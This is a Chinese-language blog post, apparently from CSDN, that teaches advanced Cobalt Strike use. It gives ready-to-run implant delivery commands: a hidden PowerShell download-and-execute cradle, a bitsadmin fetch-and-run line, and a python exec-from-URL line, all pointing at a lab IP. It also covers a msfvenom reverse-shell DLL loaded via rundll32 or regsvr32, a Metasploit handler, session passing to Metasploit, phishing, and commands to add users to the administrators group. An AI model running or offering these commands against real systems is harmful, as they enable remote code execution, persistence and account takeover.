Cobalt Strike进阶用法1

无人问我余念安

于 2025-04-20 15:23:09 发布

阅读量809

点赞数 11

CC 4.0 BY-SA版权

文章标签：网络

本文链接：https://blog.csdn.net/qq_19946787/article/details/147365530

有阶段木马和无阶段木马的区别

有阶段木马

无阶段木马

有阶段：木马中不含完整的payload，木马文件比较小，需要发初始化包，下载payload，再发送心跳包（小马拉大车）

无阶段：木马中包含完整的payload，木马文件比较大，不需要发初始化包，直接发送心跳包

cs木马的上线方式

exe木马文件上线

略...前文有

office宏病毒上线

hta上线

web传递上线

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.16.39:80/test1'))"

cmd.exe /c bitsadmin /transfer c7d2 http://192.168.16.39:80/test2 %APPDATA%\c7d2.exe&%APPDATA%\c7d2.exe&del %APPDATA%\c7d2.exe

#需要目标windows安装python2 python -c "import urllib2; exec urllib2.urlopen('http://192.168.16.39:80/test3').read();"

shellcode生成木马上线

DLL木马上线

msf生成dll文件，木马上线

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f dll LHOST=10.0.0.153 LPORT=6666 > reverse_32bit.dll

dll包含了一堆函数

rundll32.exe reverse_32bit.dll,re

regsvr32.exe reverse_32bit.dll

svchost.exe

结合metasploit,反弹shel

在kali中开启使用命令开启metasploit，结合kali来反弹shell，也是可以的，那为什么要结合msf呢，因为msf的功能也很强大，主机提权、各种攻击载荷、漏洞攻击等

msfconsole

如下，可以使用xshell来玩

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 10.0.0.153

set lport 6666

run

然后在CS中创建监听器

使用Cobalt Strike创建一个windows/meterpreter/reverse_http的Listener。其中ip为Metasploit的ip地址，端口为Metasploit所监听的端口。

然后选择增加会话

选择msf那个连接

然后再看msf，就成功了，我这里测试总是有点问题，后面再给大家补充最新的成功的图，流程没问题。

如果你发现在msf中输入指令没有效果，那么ctrl+c结束一下，然后通过sessions -i找到会话，继续通过 session -i id值，就可以了

也就是说，CS建立的连接会话可以派生到msf中，派生之后有个最大的有点就是，msf可以让这个会话在后台运行，执行 background 指令，继续进行其他的攻击

cs的其他功能讲解

信息收集：

http://10.0.0.186:80/h1

智能攻击 applet攻击

自签名的applet攻击

网站克隆

文件下载

钓鱼邮件

cs自带的邮件钓鱼不好用，推荐使用Gophish邮件钓鱼平台

https://cloud.tencent.com/developer/article/1796781

cs的插件安装

内网渗透

内网渗透之信息收集

查看操作系统版本和补丁信息

win10

        cmd中输入：systeminfo，系统信息和补丁信息都有

linux:centos7

        查看系统版本

        cat /etc/redhat-release

        查看内核版本

        cat /proc/version uname -r

补丁情况：https://www.csdn.net/tags/NtzaggwsNjc0ODEtYmxvZwO0O0OO0O0O.html

系统查看用户和用户组

win10:

net user #查看所有账户

net user 用户名 #查看用户详细信息

net user 用户名新密码 #给用户改密码（只有管理员可使用）

net user 用户名密码 /add（/del） # 创建（删除）用户名和密码

net localgroup #列出所有组

net localgroup 组名 /add #新建组

net localgroup 组名 #查看该组成员

net localgroup administrators 用户名 /add（/del） # 把用户添加（把用户从组中删除）到管理员组

net user 用户名 /active:yes #激活账户

net user 用户名 /active:no #禁用账户

linux：centos7

https://blog.csdn.net/erwange/article/details/104524602

useradd 用户名

userdel 用户名

usermod 用户名

cat /etc/passwd

lastlog